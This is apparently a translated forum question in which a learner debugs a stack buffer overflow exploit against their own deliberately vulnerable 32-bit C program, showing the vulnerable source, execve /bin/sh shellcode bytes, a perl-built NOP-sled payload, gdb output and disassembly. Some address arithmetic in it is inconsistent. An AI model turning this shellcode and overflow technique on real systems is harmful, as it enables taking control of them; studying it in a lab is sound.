我已经在这方面进行了几天的尝试和错误,但我似乎无法准确指出为什么我仍然会收到 SIGSEGV。
这是我使用 gdb/gef 单步执行堆栈缓冲区溢出的标准输出:https ://hastebin.com/hunekowasi.bash
我正在执行的 c bin 的来源是:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
char buf[256];
if (argc < 2) {
fprintf(stderr, "ERROR: argc < 2");
return 1;
}
strcpy(buf, argv[1]);
return 0;
}
我编译它:
gcc -g -Wall -fno-stack-protector -m32 -I. main.c -o overflow
我使用的机器有一个 64 位英特尔处理器(小端),我正在./overflow使用以下命令执行bin:
gdb -q --args ./overflow $(perl -e 'print "\x90" x 236 . "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" . "\xe8\x9c\xff\xff"')
我试图溢出的字符数组是 256 字节(我相信似乎是 260 字节)。
0x080484ab <+69>: lea eax,[ebp-0x108]
当我故意尝试段错误时,这一点得到了验证:
th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡
⇒ ./overflow $(perl -e "print 'A' x 256")
th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡
⇒ ./overflow $(perl -e "print 'A' x 260")
[1] 18410 segmentation fault (core dumped) ./overflow $(perl -e "print 'A' x 260")
验证段错误发生在 260 后,我创建了我的有效负载:
- NOP 雪橇 = 236 字节
- shellcode = 24 字节
我通过获取缓冲区的起始地址并将其添加 50 来计算跳转:由于我在小端系统上0xffff9cc0 + 50,0xffff9c8e因此我将其反转,最终为:\x8e\x9c\xff\xff。
我使用的 shellcode 与我在这个源代码中用来验证它在我的系统上工作的 shellcode 相同:
#include <stdio.h>
#include <string.h>
char shellcode[] = {
"\x6a\x0b" /* push 0xb */
"\x58" /* pop eax */
"\x31\xf6" /* xor esi,esi */
"\x56" /* push esi */
"\x68\x2f\x2f\x73\x68" /* push 0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push 0x6e69622f */
"\x89\xe3" /* mov ebx,esp */
"\x31\xc9" /* xor ecx,ecx */
"\x89\xca" /* mov edx,ecx */
"\xcd\x80" /* int 0x80 */
};
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
虽然.. 当我执行传递精心制作的字符串的 bin 时,我收到一个 SIGSEGV 错误。我已经玩了很多,似乎无法让它工作。我觉得我错过了一些小事。您可以在我上面提供的 hastebin 链接中看到 gdb 的输出。
编辑 - 添加一些可能有用的附加信息。
@gef➤ checksec
[+] checksec for '/home/th3v0id/repos/bufferoverflows/stack/01/overflow'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : Partial
@gef➤ disassemble main
Dump of assembler code for function main:
=> 0x08048466 <+0>: lea ecx,[esp+0x4]
0x0804846a <+4>: and esp,0xfffffff0
0x0804846d <+7>: push DWORD PTR [ecx-0x4]
0x08048470 <+10>: push ebp
0x08048471 <+11>: mov ebp,esp
0x08048473 <+13>: push ecx
0x08048474 <+14>: sub esp,0x104
0x0804847a <+20>: mov eax,ecx
0x0804847c <+22>: cmp DWORD PTR [eax],0x1
0x0804847f <+25>: jg 0x804849f <main+57>
0x08048481 <+27>: mov eax,ds:0x804a020
0x08048486 <+32>: push eax
0x08048487 <+33>: push 0xf
0x08048489 <+35>: push 0x1
0x0804848b <+37>: push 0x8048554
0x08048490 <+42>: call 0x8048330 <fwrite@plt>
0x08048495 <+47>: add esp,0x10
0x08048498 <+50>: mov eax,0x1
0x0804849d <+55>: jmp 0x80484bf <main+89>
0x0804849f <+57>: mov eax,DWORD PTR [eax+0x4]
0x080484a2 <+60>: add eax,0x4
0x080484a5 <+63>: mov eax,DWORD PTR [eax]
0x080484a7 <+65>: sub esp,0x8
0x080484aa <+68>: push eax
0x080484ab <+69>: lea eax,[ebp-0x108]
0x080484b1 <+75>: push eax
0x080484b2 <+76>: call 0x8048340 <strcpy@plt>
0x080484b7 <+81>: add esp,0x10
0x080484ba <+84>: mov eax,0x0
0x080484bf <+89>: mov ecx,DWORD PTR [ebp-0x4]
0x080484c2 <+92>: leave
0x080484c3 <+93>: lea esp,[ecx-0x4]
0x080484c6 <+96>: ret
End of assembler dump.